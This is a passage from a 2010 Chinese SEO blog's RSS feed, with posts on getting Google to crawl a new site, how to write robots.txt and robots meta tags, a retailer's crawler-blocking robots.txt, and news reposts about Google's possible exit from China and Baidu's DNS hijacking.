		<category><![CDATA[Link]]></category>
		<category><![CDATA[sitemap]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3038</guid>
		<description><![CDATA[有个想法，想测试下什么情况下google spider（谷歌蜘蛛）会来踩点，即来抓取一个新站 1、有效外链，即已被GG收录并经常更新的网站的dofollow链接 2、无效外链，即已被GG收录并经常更新的网站的nofollow链接 3、刷刷流量，即通过软件刷，不过估计GG是测不到的 4、加入google网站管理员工具 5、Google Analytics，据说很强大的东西，可我不喜欢 6、到GG官方提交地址提交网址 7、用Google浏览器打开几次网页玩玩 8、用装有google工具体栏的浏览器玩 9、用sitemap去ping 10、让其它搜索引擎收录，看google会不会看不下去主动来收 11、用google多搜几次我的网址，不信它不好奇 12&#8230;. 还有什么想法的跟上 相关日志10/05/2009 -- 关于GOOGLE的沙盒期 (3)05/31/2009 -- SEO插件 &#8211; 20个最好的Wordpress SEO 插件 (3)05/31/2009 -- 十大WordPress的SEO优化技巧 (0)10/26/2010 -- 关于 rel=”canonical” 用法 (0)04/05/2010 -- 如何写robots.txt？(摘点石) (1)]]></description>
			<content:encoded><![CDATA[<p>有个想法，想测试下什么情况下google spider（谷歌蜘蛛）会来踩点，即来抓取一个新站</p>
<p>1、有效外链，即已被GG收录并经常更新的网站的dofollow链接</p>
<p>2、无效外链，即已被GG收录并经常更新的网站的nofollow链接</p>
<p>3、刷刷流量，即通过软件刷，不过估计GG是测不到的</p>
<p>4、加入google网站管理员工具</p>
<p>5、Google Analytics，据说很强大的东西，可我不喜欢</p>
<p>6、到GG官方提交地址提交网址</p>
<p>7、用Google浏览器打开几次网页玩玩</p>
<p>8、用装有google工具体栏的浏览器玩</p>
<p>9、用sitemap去ping</p>
<p>10、让其它搜索引擎收录，看google会不会看不下去主动来收</p>
<p>11、用google多搜几次我的网址，不信它不好奇</p>
<p>12&#8230;.</p>
<p>还有什么想法的跟上</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/05/2009 -- <a href="http://www.crazylemon.net/seo/2126.html" title="关于GOOGLE的沙盒期">关于GOOGLE的沙盒期</a> (3)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/335.html" title="SEO插件 &#8211; 20个最好的Wordpress SEO 插件">SEO插件 &#8211; 20个最好的Wordpress SEO 插件</a> (3)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/267.html" title="十大WordPress的SEO优化技巧">十大WordPress的SEO优化技巧</a> (0)</li><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3684.html" title="关于 rel=”canonical” 用法">关于 rel=”canonical” 用法</a> (0)</li><li>04/05/2010 -- <a href="http://www.crazylemon.net/seo/3025.html" title="如何写robots.txt？(摘点石)">如何写robots.txt？(摘点石)</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3038.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何写robots.txt？(摘点石)</title>
		<link>http://www.crazylemon.net/seo/3025.html</link>
		<comments>http://www.crazylemon.net/seo/3025.html#comments</comments>
		<pubDate>Sun, 04 Apr 2010 16:15:49 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Baidu]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[Link]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/seo/3025.html</guid>
		<description><![CDATA[在国内，网站管理者似乎对robots.txt并没有引起多大重视，应一些朋友之请求，今天想通过这篇文章来简单谈一下robots.txt的写作。   robots.txt基本介绍 robots.txt是一个纯文本文件，在这个文件中网站管理者可以声明该网站中不想被robots访问的部分，或者指定搜索引擎只收录指定的内容。 当一个搜索机器人（有的叫搜索蜘蛛）访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt，如果存在，搜索机器人就会按照该文件中的内容来确定访问的范围；如果该文件不存在，那么搜索机器人就沿着链接抓取。 另外，robots.txt必须放置在一个站点的根目录下，而且文件名必须全部小写。 robots.txt写作语法 首先，我们来看一个robots.txt范例：http://www.seovip.cn/robots.txt 访问以上具体地址，我们可以看到robots.txt的具体内容如下： # Robots.txt file from http://www.seovip.cn # All robots will spider the domain User-agent: * Disallow: 以上文本表达的意思是允许所有的搜索机器人访问www.seovip.cn站点下的所有文件。 具体语法分析：其中#后面文字为说明信息；User-agent:后面为搜索机器人的名称，后面如果是*，则泛指所有的搜索机器人；Disallow:后面为不允许访问的文件目录。 下面，我将列举一些robots.txt的具体用法： 允许所有的robot访问 User-agent: * Disallow: 或者也可以建一个空文件 “/robots.txt” file 禁止所有搜索引擎访问网站的任何部分 User-agent: * Disallow: / 禁止所有搜索引擎访问网站的几个部分（下例中的01、02、03目录） User-agent: * Disallow: /01/ Disallow: /02/ Disallow: /03/ 禁止某个搜索引擎的访问（下例中的BadBot） User-agent: BadBot Disallow: / 只允许某个搜索引擎的访问（下例中的Crawler） User-agent: [...]]]></description>
			<content:encoded><![CDATA[<p>在国内，网站管理者似乎对robots.txt并没有引起多大重视，应一些朋友之请求，今天想通过这篇文章来简单谈一下robots.txt的写作。</p>
<p><span id="more-45"> </span></p>
<p><strong>robots.txt基本介绍</strong></p>
<p>robots.txt是一个纯文本文件，在这个文件中网站管理者可以声明该网站中不想被robots访问的部分，或者指定搜索引擎只收录指定的内容。</p>
<p>当一个搜索机器人（有的叫搜索蜘蛛）访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt，如果存在，搜索机器人就会按照该文件中的内容来确定访问的范围；如果该文件不存在，那么搜索机器人就沿着链接抓取。</p>
<p>另外，robots.txt必须放置在一个站点的根目录下，而且文件名必须全部小写。</p>
<p><strong>robots.txt写作语法</strong></p>
<p>首先，我们来看一个robots.txt范例：http://www.seovip.cn/robots.txt</p>
<p>访问以上具体地址，我们可以看到robots.txt的具体内容如下：</p>
<p><em># Robots.txt file from </em><em>http://www.seovip.cn</em><br />
<em># All robots will spider the domain</em></p>
<p><em>User-agent: *<br />
Disallow:</em></p>
<p>以上文本表达的意思是允许所有的搜索机器人访问www.seovip.cn站点下的所有文件。</p>
<p>具体语法分析：其中#后面文字为说明信息；<em>User-agent:</em>后面为搜索机器人的名称，后面如果是<em>*，</em>则泛指所有的搜索机器人；<em>Disallow:</em>后面为不允许访问的文件目录。</p>
<p>下面，我将列举一些robots.txt的具体用法：</p>
<p><strong>允许所有的robot访问</strong></p>
<p><em>User-agent: *<br />
Disallow:</em></p>
<p>或者也可以建一个空文件 “/robots.txt” file</p>
<p><strong>禁止所有搜索引擎访问网站的任何部分</strong></p>
<p><em>User-agent: *<br />
Disallow: /</em></p>
<p><strong>禁止所有搜索引擎访问网站的几个部分（下例中的01、02、03目录）</strong></p>
<p>User-agent: *<br />
Disallow: /01/<br />
Disallow: /02/<br />
Disallow: /03/</p>
<p><strong>禁止某个搜索引擎的访问（下例中的BadBot）</strong></p>
<p><em>User-agent: BadBot<br />
Disallow: /</em></p>
<p><strong>只允许某个搜索引擎的访问（下例中的Crawler）</strong></p>
<p><em>User-agent: Crawler<br />
Disallow:</em></p>
<p><em>User-agent: *<br />
Disallow: /</em></p>
<p><strong>另外，我觉得有必要进行拓展说明，对robots meta进行一些介绍：</strong></p>
<p>Robots META标签则主要是针对一个个具体的页面。和其他的META标签（如使用的语言、页面的描述、关键词等）一样，Robots META标签也是放在页面的＜head＞＜/head＞中，专门用来告诉搜索引擎ROBOTS如何抓取该页的内容。</p>
<p><strong>Robots META标签的写法：</strong></p>
<p>Robots META标签中没有大小写之分，name=”Robots”表示所有的搜索引擎，可以针对某个具体搜索引擎写为name=”BaiduSpider”。 content部分有四个指令选项：index、noindex、follow、nofollow，指令间以“,”分隔。</p>
<p>INDEX 指令告诉搜索机器人抓取该页面；</p>
<p>FOLLOW 指令表示搜索机器人可以沿着该页面上的链接继续抓取下去；</p>
<p>Robots Meta标签的缺省值是INDEX和FOLLOW，只有inktomi除外，对于它，缺省值是INDEX,NOFOLLOW。</p>
<p>这样，一共有四种组合：</p>
<p>＜META NAME=”ROBOTS” CONTENT=”INDEX,FOLLOW”＞<br />
＜META NAME=”ROBOTS” CONTENT=”NOINDEX,FOLLOW”＞<br />
＜META NAME=”ROBOTS” CONTENT=”INDEX,NOFOLLOW”＞<br />
＜META NAME=”ROBOTS” CONTENT=”NOINDEX,NOFOLLOW”＞</p>
<p>其中</p>
<p>＜META NAME=”ROBOTS” CONTENT=”INDEX,FOLLOW”＞可以写成＜META NAME=”ROBOTS” CONTENT=”ALL”＞；</p>
<p>＜META NAME=”ROBOTS” CONTENT=”NOINDEX,NOFOLLOW”＞可以写成＜META NAME=”ROBOTS” CONTENT=”NONE”＞</p>
<p>目前看来，绝大多数的搜索引擎机器人都遵守robots.txt的规则，而对于Robots META标签，目前支持的并不多，但是正在逐渐增加，如著名搜索引擎GOOGLE就完全支持，而且GOOGLE还增加了一个指令“archive”，可以限制GOOGLE是否保留网页快照。例如：</p>
<p>＜META NAME=”googlebot” CONTENT=”index,follow,noarchive”＞</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>03/19/2010 -- <a href="http://www.crazylemon.net/seo/2971.html" title="lightinthebox的robots.txt">lightinthebox的robots.txt</a> (0)</li><li>10/21/2009 -- <a href="http://www.crazylemon.net/seo/2246.html" title="一个被google除名的案例">一个被google除名的案例</a> (0)</li><li>09/12/2009 -- <a href="http://www.crazylemon.net/seo/1851.html" title="独立IP对SEO的影响">独立IP对SEO的影响</a> (1)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/335.html" title="SEO插件 &#8211; 20个最好的Wordpress SEO 插件">SEO插件 &#8211; 20个最好的Wordpress SEO 插件</a> (3)</li><li>05/31/2009 -- <a href="http://www.crazylemon.net/seo/267.html" title="十大WordPress的SEO优化技巧">十大WordPress的SEO优化技巧</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3025.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>lightinthebox的robots.txt</title>
		<link>http://www.crazylemon.net/seo/2971.html</link>
		<comments>http://www.crazylemon.net/seo/2971.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 14:59:23 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Baidu]]></category>
		<category><![CDATA[Domain]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[rar]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[sitemap]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=2971</guid>
		<description><![CDATA[User-agent:* Disallow: /cache/ User-Agent: almaden Disallow: / User-Agent: ASPSeek Disallow: / User-Agent: Axmo Disallow: / User-Agent: BaiduSpider Disallow: / User-Agent: booch Disallow: / User-Agent: DTS Agent Disallow: / User-Agent: Downloader Disallow: / User-Agent: EmailCollector Disallow: / User-Agent: EmailSiphon Disallow: / User-Agent: EmailWolf Disallow: / User-Agent: Expired Domain Sleuth Disallow: / User-Agent: Franklin Locator Disallow: / [...]]]></description>
			<content:encoded><![CDATA[<p>User-agent:*<br />
Disallow: /cache/</p>
<p>User-Agent: almaden<br />
Disallow: /<br />
User-Agent: ASPSeek<br />
Disallow: /<br />
User-Agent: Axmo<br />
Disallow: /<br />
User-Agent: BaiduSpider<br />
Disallow: /<br />
User-Agent: booch<br />
Disallow: /<br />
User-Agent: DTS Agent<br />
Disallow: /<br />
User-Agent: Downloader<br />
Disallow: /<br />
User-Agent: EmailCollector<br />
Disallow: /<br />
User-Agent: EmailSiphon<br />
Disallow: /<br />
User-Agent: EmailWolf<br />
Disallow: /<br />
User-Agent: Expired Domain Sleuth<br />
Disallow: /<br />
User-Agent: Franklin Locator<br />
Disallow: /<br />
User-Agent: Gaisbot<br />
Disallow: /<br />
User-Agent: grub<br />
Disallow: /<br />
User-Agent: HughCrawler<br />
Disallow: /<br />
User-Agent: iaea.org<br />
Disallow: /<br />
User-Agent: lcabotAccept<br />
Disallow: /<br />
User-Agent: IconSurf<br />
Disallow: /<br />
User-Agent: Iltrovatore-Setaccio<br />
Disallow: /<br />
User-Agent: Indy Library<br />
Disallow: /<br />
User-Agent: IUPUI<br />
Disallow: /<br />
User-Agent: Kittiecentral<br />
Disallow: /<br />
User-Agent: iaea.org<br />
Disallow: /<br />
User-Agent: larbin<br />
Disallow: /<br />
User-Agent: lwp-trivial<br />
Disallow: /<br />
User-Agent: MetaTagRobot<br />
Disallow: /<br />
User-Agent: Missigua Locator<br />
Disallow: /<br />
User-Agent: NetResearchServer<br />
Disallow: /<br />
User-Agent: NextGenSearch<br />
Disallow: /<br />
User-Agent: NPbot<br />
Disallow: /<br />
User-Agent: Nutch<br />
Disallow: /<br />
User-Agent: ObjectsSearch<br />
Disallow: /<br />
User-Agent: Oracle Ultra Search<br />
Disallow: /<br />
User-Agent: PEERbot<br />
Disallow: /<br />
User-Agent: PictureOfInternet<br />
Disallow: /<br />
User-Agent: PlantyNet<br />
Disallow: /<br />
User-Agent: QuepasaCreep<br />
Disallow: /<br />
User-Agent: ScSpider<br />
Disallow: /<br />
User-Agent: SOFT411<br />
Disallow: /<br />
User-Agent: spider.acont.de<br />
Disallow: /<br />
User-Agent: Sqworm<br />
Disallow: /<br />
User-Agent: SSM Agent<br />
Disallow: /<br />
User-Agent: TAMU<br />
Disallow: /<br />
User-Agent: TheUsefulbot<br />
Disallow: /<br />
User-Agent: TurnitinBot<br />
Disallow: /<br />
User-Agent: Tutorial Crawler<br />
Disallow: /<br />
User-Agent: TutorGig<br />
Disallow: /<br />
User-Agent: WebCopier<br />
Disallow: /<br />
User-Agent: WebZIP<br />
Disallow: /<br />
User-Agent: ZipppBot<br />
Disallow: /<br />
User-Agent: Xenu<br />
Disallow: /<br />
User-Agent: Wotbox<br />
Disallow: /<br />
User-Agent: Wget<br />
Disallow: /<br />
User-Agent: NaverBot<br />
Disallow: /<br />
User-Agent: mozDex<br />
Disallow: /<br />
User-Agent: Sosospider<br />
Disallow: /<br />
Sitemap:http://localhost/sitemapindex.xml</p>
<p>看来除了google和yahoo，lightinthebox不打算让别的搜索引擎收录了</p>
<p>百度site一下，只收了首页，title是兰亭国际，挺有趣的</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>03/22/2010 -- <a href="http://www.crazylemon.net/web/2976.html" title="什么是WHM？">什么是WHM？</a> (1)</li><li>04/05/2010 -- <a href="http://www.crazylemon.net/seo/3025.html" title="如何写robots.txt？(摘点石)">如何写robots.txt？(摘点石)</a> (1)</li><li>12/01/2009 -- <a href="http://www.crazylemon.net/google-info/2606.html" title="Google注册域名大全">Google注册域名大全</a> (0)</li><li>06/10/2009 -- <a href="http://www.crazylemon.net/work/591.html" title="国内八家域名注册商优缺点比较 ">国内八家域名注册商优缺点比较 </a> (6)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/2971.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google可能将退出中国市场</title>
		<link>http://www.crazylemon.net/google-info/2783.html</link>
		<comments>http://www.crazylemon.net/google-info/2783.html#comments</comments>
		<pubDate>Wed, 13 Jan 2010 02:17:50 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[Google资讯]]></category>
		<category><![CDATA[Adsense]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=2783</guid>
		<description><![CDATA[今天，Google在英文的官方博客声称，Google已经做出决定，重新检讨在中国开展业务的可行性，如有必要，可能会关闭Google.cn，并撤出在中国的办事处。 　　Google称其业务系统遭受到来自中国有针对性的攻击，导致知识产品被盗，Google在2006年进入中国，是为了让中国人能够在更加开放的互联网中获取信息，基于这种理念，Google可以容忍部分审查，但Google会密切注视中国新的法律对Google服务的限制情况，现在Google已经确认，Google已经到了重新考虑评估中国业务运营可行性的时候了。 　　在过去的一年里，对于互联网言论自由的限制已经完全突破了Google的底线，Google公司已经决定，不愿再审查Google.cn上的搜索结果，因此，如果可能，Google将在未来几周时间和中国政府谈判，要求能够在中国法律框架内运营未经过滤审查的搜索引擎。Google承认这很可能意味着必须关闭Google.cn，撤出Google在中国的办公室。 　　看来，中国的互联网环境之恶劣，连国际互联网巨头Google都无法忍受了，Google的这个决定首次对中国的互联网政策说了声“不”。如果未来Google真的撤出中国，不仅仅Google会损失掉中国的业务，中国自身的经济发展也会受到冲击，国际形象会有负面影响，对于广大依靠Google AdSense业务生存的个人网站来说也是致命一击，中国的个人网站可能真的要走向灭亡了。 相关日志10/26/2010 -- 关于 rel=”canonical” 用法 (0)09/09/2010 -- 网站子目录地址后要不要斜杠 (3)09/01/2010 -- mysql 注入方法（转自Security Angel） (1)08/11/2010 -- SEO优化正确使用alt属性和title属性 (2)04/07/2010 -- GOOGLE人员对网站重新审核的说明 (1)]]></description>
			<content:encoded><![CDATA[<p>今天，Google在英文的官方博客声称，Google已经做出决定，重新检讨在中国开展业务的可行性，如有必要，可能会关闭Google.cn，并撤出在中国的办事处。</p>
<p>　　Google称其业务系统遭受到来自中国有针对性的攻击，导致知识产品被盗，Google在2006年进入中国，是为了让中国人能够在更加开放的互联网中获取信息，基于这种理念，Google可以容忍部分审查，但Google会密切注视中国新的法律对Google服务的限制情况，现在Google已经确认，Google已经到了重新考虑评估中国业务运营可行性的时候了。</p>
<p>　　在过去的一年里，对于互联网言论自由的限制已经完全突破了Google的底线，Google公司已经决定，不愿再审查Google.cn上的搜索结果，因此，如果可能，Google将在未来几周时间和中国政府谈判，要求能够在中国法律框架内运营未经过滤审查的搜索引擎。Google承认这很可能意味着必须关闭Google.cn，撤出Google在中国的办公室。</p>
<p>　　看来，中国的互联网环境之恶劣，连国际互联网巨头Google都无法忍受了，Google的这个决定首次对中国的互联网政策说了声“不”。如果未来Google真的撤出中国，不仅仅Google会损失掉中国的业务，中国自身的经济发展也会受到冲击，国际形象会有负面影响，对于广大依靠Google AdSense业务生存的个人网站来说也是致命一击，中国的个人网站可能真的要走向灭亡了。</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3684.html" title="关于 rel=”canonical” 用法">关于 rel=”canonical” 用法</a> (0)</li><li>09/09/2010 -- <a href="http://www.crazylemon.net/seo/3483.html" title="网站子目录地址后要不要斜杠">网站子目录地址后要不要斜杠</a> (3)</li><li>09/01/2010 -- <a href="http://www.crazylemon.net/mysql/3455.html" title="mysql 注入方法（转自Security Angel）">mysql 注入方法（转自Security Angel）</a> (1)</li><li>08/11/2010 -- <a href="http://www.crazylemon.net/seo/3393.html" title="SEO优化正确使用alt属性和title属性">SEO优化正确使用alt属性和title属性</a> (2)</li><li>04/07/2010 -- <a href="http://www.crazylemon.net/seo/3048.html" title="GOOGLE人员对网站重新审核的说明">GOOGLE人员对网站重新审核的说明</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/google-info/2783.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>百度挂了</title>
		<link>http://www.crazylemon.net/work/2777.html</link>
		<comments>http://www.crazylemon.net/work/2777.html#comments</comments>
		<pubDate>Tue, 12 Jan 2010 02:03:23 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[工作]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=2777</guid>
		<description><![CDATA[全球最大的中文搜索引擎商，百度，今天挂了，原因不明 相关新闻： 百度遭黑客劫持 手段与12月劫持twitter类似 北京时间1月12日晨7点半左右，国内最大搜索引擎百度遭遇伊朗黑客攻击，打开百度首页，出现了“This site has been hacked by IRNIAN CYBER ARMY”的字样。在页面下部，有一连串波斯语的留言，大意是“作为美国当局的干预伊朗内部事务的回应，这个只是一个警告”。 　　但是不久，这张图片随即被去掉，但是百度依然无法访问。输入页面后，出现的是一个含有“YAHOO”标的页面。 　　有技术方面的人士表示，百度的域名有可能被劫持。有技术人员发现，百度的域名解析已由YAHOO接管。（Name Server: YNS1.YAHOO.COM Name Server: YNS2.YAHOO.COM）修改时间信息为“Updated Date: 11-jan-2010”。 　　有百度内部人士认为，黑客攻击百度的难度非常之大，因为百度拥有世界上最先进的服务器和黑客防御系统，百度在“灾备”方面投入是非常大的，整个系统的抵御攻击性很强，而且有一定的自动恢复能力，被攻击导致集体瘫痪的难度非常之大。 　　不过也有业内人士指出，直接盗取或者劫持百度的域名也并非很难，而且百度如此大的请求数量是任何一个黑页服务器也无法抵御的，因此刚开始的时候还能显示黑客页面，最后黑客的服务器也肯定因为不堪重负而瘫痪了，只能是访问失败。 　　不过回想起twitter上次域名被转向，百度和这次攻击有着惊人的相似之处（twitter被黑疑为伊朗的“Cyber army”所为）。 　　可能因为机房分布设置或者有备份的缘故，在中国国内部分地区，依然能够访问百度页面。 相关日志09/01/2010 -- mysql 注入方法（转自Security Angel） (1)03/19/2010 -- lightinthebox的robots.txt (0)10/21/2009 -- robots.txt使用方法 (1)08/29/2009 -- 如何查询一台虚拟主机或一个IP上绑定了多少个域名？ (6)07/08/2009 -- 分析WordPress的Rewrite机制 (0)]]></description>
			<content:encoded><![CDATA[<p>全球最大的中文搜索引擎商，百度，今天挂了，原因不明</p>
<p>相关新闻：</p>
<p>百度遭黑客劫持 手段与12月劫持twitter类似</p>
<p>北京时间1月12日晨7点半左右，国内最大搜索引擎百度遭遇伊朗黑客攻击，打开百度首页，出现了“This site has been hacked by IRNIAN CYBER ARMY”的字样。在页面下部，有一连串波斯语的留言，大意是“作为美国当局的干预伊朗内部事务的回应，这个只是一个警告”。</p>
<p>　　但是不久，这张图片随即被去掉，但是百度依然无法访问。输入页面后，出现的是一个含有“YAHOO”标的页面。</p>
<p>　　有技术方面的人士表示，百度的域名有可能被劫持。有技术人员发现，百度的域名解析已由YAHOO接管。（Name Server: YNS1.YAHOO.COM Name Server: YNS2.YAHOO.COM）修改时间信息为“Updated Date: 11-jan-2010”。</p>
<p>　　有百度内部人士认为，黑客攻击百度的难度非常之大，因为百度拥有世界上最先进的服务器和黑客防御系统，百度在“灾备”方面投入是非常大的，整个系统的抵御攻击性很强，而且有一定的自动恢复能力，被攻击导致集体瘫痪的难度非常之大。</p>
<p>　　不过也有业内人士指出，直接盗取或者劫持百度的域名也并非很难，而且百度如此大的请求数量是任何一个黑页服务器也无法抵御的，因此刚开始的时候还能显示黑客页面，最后黑客的服务器也肯定因为不堪重负而瘫痪了，只能是访问失败。</p>
<p>　　不过回想起twitter上次域名被转向，百度和这次攻击有着惊人的相似之处（twitter被黑疑为伊朗的“Cyber army”所为）。</p>
<p>　　可能因为机房分布设置或者有备份的缘故，在中国国内部分地区，依然能够访问百度页面。</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>09/01/2010 -- <a href="http://www.crazylemon.net/mysql/3455.html" title="mysql 注入方法（转自Security Angel）">mysql 注入方法（转自Security Angel）</a> (1)</li><li>03/19/2010 -- <a href="http://www.crazylemon.net/seo/2971.html" title="lightinthebox的robots.txt">lightinthebox的robots.txt</a> (0)</li><li>10/21/2009 -- <a href="http://www.crazylemon.net/seo/2259.html" title="robots.txt使用方法">robots.txt使用方法</a> (1)</li><li>08/29/2009 -- <a href="http://www.crazylemon.net/work/1715.html" title="如何查询一台虚拟主机或一个IP上绑定了多少个域名？">如何查询一台虚拟主机或一个IP上绑定了多少个域名？</a> (6)</li><li>07/08/2009 -- <a href="http://www.crazylemon.net/wordpress/1050.html" title="分析WordPress的Rewrite机制">分析WordPress的Rewrite机制</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/work/2777.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

